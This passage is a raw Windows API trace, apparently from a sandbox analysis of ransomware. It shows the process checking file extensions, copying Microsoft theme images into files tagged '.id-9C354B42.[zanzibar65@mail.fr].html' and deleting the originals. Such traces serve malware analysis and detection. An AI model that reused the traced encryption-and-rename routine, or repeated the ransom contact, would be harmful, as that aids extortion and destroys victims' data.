lstrlenW (lpString=".ppt") returned 4 [0044.393] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.393] lstrlenW (lpString=".zip") returned 4 [0044.393] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.393] lstrlenW (lpString=".rar") returned 4 [0044.393] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.393] lstrlenW (lpString=".bz2") returned 4 [0044.393] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.393] lstrlenW (lpString=".7z") returned 3 [0044.393] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.393] lstrlenW (lpString=".dbf") returned 4 [0044.393] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.393] lstrlenW (lpString=".1cd") returned 4 [0044.393] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0044.393] lstrlenW (lpString=".jpg") returned 4 [0044.393] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.393] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.393] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.394] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1593) returned 1 [0044.394] CloseHandle (hObject=0x1ac) returned 1 [0044.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0044.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.394] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.394] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.396] GetLastError () returned 0x0 [0044.396] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x639, lpOverlapped=0x0) returned 1 [0044.648] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x640, lpOverlapped=0x0) returned 1 [0044.649] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.649] WriteFile (in: hFile=0x204, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.649] SetEndOfFile (hFile=0x204) returned 1 [0044.650] CloseHandle (hObject=0x204) returned 1 [0044.650] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.650] SetEndOfFile (hFile=0x1ac) returned 1 [0044.650] CloseHandle (hObject=0x1ac) returned 1 [0044.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.651] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0044.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.651] lstrlenW (lpString=".doc") returned 4 [0044.651] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.651] lstrlenW (lpString=".docx") returned 5 [0044.651] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.651] lstrlenW (lpString=".pdf") returned 4 [0044.651] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.651] lstrlenW (lpString=".xls") returned 4 [0044.651] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.651] lstrlenW (lpString=".xlsx") returned 5 [0044.651] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.651] lstrlenW (lpString=".ppt") returned 4 [0044.651] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.652] lstrlenW (lpString=".zip") returned 4 [0044.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.652] lstrlenW (lpString=".rar") returned 4 [0044.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.652] lstrlenW (lpString=".bz2") returned 4 [0044.652] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.652] lstrlenW (lpString=".7z") returned 3 [0044.652] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.652] lstrlenW (lpString=".dbf") returned 4 [0044.652] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.652] lstrlenW (lpString=".1cd") returned 4 [0044.652] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.652] lstrlenW (lpString=".jpg") returned 4 [0044.652] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.652] lstrlenW (lpString=".doc") returned 4 [0044.652] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.652] lstrlenW (lpString=".docx") returned 5 [0044.652] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.652] lstrlenW (lpString=".pdf") returned 4 [0044.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.652] lstrlenW (lpString=".xls") returned 4 [0044.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.652] lstrlenW (lpString=".xlsx") returned 5 [0044.652] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.652] lstrlenW (lpString=".ppt") returned 4 [0044.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.653] lstrlenW (lpString=".zip") returned 4 [0044.653] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.653] lstrlenW (lpString=".rar") returned 4 [0044.653] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.653] lstrlenW (lpString=".bz2") returned 4 [0044.653] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.653] lstrlenW (lpString=".7z") returned 3 [0044.653] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.653] lstrlenW (lpString=".dbf") returned 4 [0044.653] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.653] lstrlenW (lpString=".1cd") returned 4 [0044.653] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0044.653] lstrlenW (lpString=".jpg") returned 4 [0044.653] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.653] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.653] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.654] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1439) returned 1 [0044.654] CloseHandle (hObject=0x1ac) returned 1 [0044.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0044.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.654] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.654] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.656] GetLastError () returned 0x0 [0044.656] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x59f, lpOverlapped=0x0) returned 1 [0044.657] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0044.658] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.658] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.658] SetEndOfFile (hFile=0x21c) returned 1 [0044.658] CloseHandle (hObject=0x21c) returned 1 [0044.659] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.659] SetEndOfFile (hFile=0x1ac) returned 1 [0044.659] CloseHandle (hObject=0x1ac) returned 1 [0044.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0044.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.660] lstrlenW (lpString=".doc") returned 4 [0044.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.660] lstrlenW (lpString=".docx") returned 5 [0044.660] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.660] lstrlenW (lpString=".pdf") returned 4 [0044.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.660] lstrlenW (lpString=".xls") returned 4 [0044.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.660] lstrlenW (lpString=".xlsx") returned 5 [0044.660] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.660] lstrlenW (lpString=".ppt") returned 4 [0044.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.660] lstrlenW (lpString=".zip") returned 4 [0044.660] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.660] lstrlenW (lpString=".rar") returned 4 [0044.660] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.660] lstrlenW (lpString=".bz2") returned 4 [0044.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.660] lstrlenW (lpString=".7z") returned 3 [0044.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.661] lstrlenW (lpString=".dbf") returned 4 [0044.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.661] lstrlenW (lpString=".1cd") returned 4 [0044.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.661] lstrlenW (lpString=".jpg") returned 4 [0044.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.661] lstrlenW (lpString=".doc") returned 4 [0044.661] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.661] lstrlenW (lpString=".docx") returned 5 [0044.661] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.661] lstrlenW (lpString=".pdf") returned 4 [0044.661] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.661] lstrlenW (lpString=".xls") returned 4 [0044.661] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.661] lstrlenW (lpString=".xlsx") returned 5 [0044.661] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.661] lstrlenW (lpString=".ppt") returned 4 [0044.661] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.661] lstrlenW (lpString=".zip") returned 4 [0044.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.661] lstrlenW (lpString=".rar") returned 4 [0044.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.661] lstrlenW (lpString=".bz2") returned 4 [0044.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.661] lstrlenW (lpString=".7z") returned 3 [0044.661] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.662] lstrlenW (lpString=".dbf") returned 4 [0044.662] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.662] lstrlenW (lpString=".1cd") returned 4 [0044.662] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0044.662] lstrlenW (lpString=".jpg") returned 4 [0044.662] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.662] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.662] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.662] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=37112) returned 1 [0044.662] CloseHandle (hObject=0x1ac) returned 1 [0044.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0044.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0044.663] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.663] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.663] GetLastError () returned 0x0 [0044.663] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x90f8, lpOverlapped=0x0) returned 1 [0044.665] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x9100, lpOverlapped=0x0) returned 1 [0044.666] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0044.666] WriteFile (in: hFile=0x21c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.667] SetEndOfFile (hFile=0x21c) returned 1 [0044.667] CloseHandle (hObject=0x21c) returned 1 [0044.667] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0044.667] SetEndOfFile (hFile=0x1ac) returned 1 [0044.668] CloseHandle (hObject=0x1ac) returned 1 [0044.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.668] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.668] lstrlenW (lpString=".doc") returned 4 [0044.668] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.668] lstrlenW (lpString=".docx") returned 5 [0044.668] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.668] lstrlenW (lpString=".pdf") returned 4 [0044.668] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.668] lstrlenW (lpString=".xls") returned 4 [0044.668] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.668] lstrlenW (lpString=".xlsx") returned 5 [0044.669] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.669] lstrlenW (lpString=".ppt") returned 4 [0044.669] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.669] lstrlenW (lpString=".zip") returned 4 [0044.669] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.669] lstrlenW (lpString=".rar") returned 4 [0044.669] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.669] lstrlenW (lpString=".bz2") returned 4 [0044.669] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.669] lstrlenW (lpString=".7z") returned 3 [0044.669] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.669] lstrlenW (lpString=".dbf") returned 4 [0044.669] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.669] lstrlenW (lpString=".1cd") returned 4 [0044.669] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.669] lstrlenW (lpString=".jpg") returned 4 [0044.669] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0044.669] lstrlenW (lpString=".doc") returned 4 [0044.669] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.669] lstrlenW (lpString=".docx") returned 5 [0044.669] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.669] lstrlenW (lpString=".pdf") returned 4 [0044.669] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.669] lstrlenW (lpString=".xls") returned 4 [0044.669] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.669] lstrlenW (lpString=".xlsx") returned 5 [0044.670] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.670] lstrlenW (lpString=".ppt") returned 4 [0044.670] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") 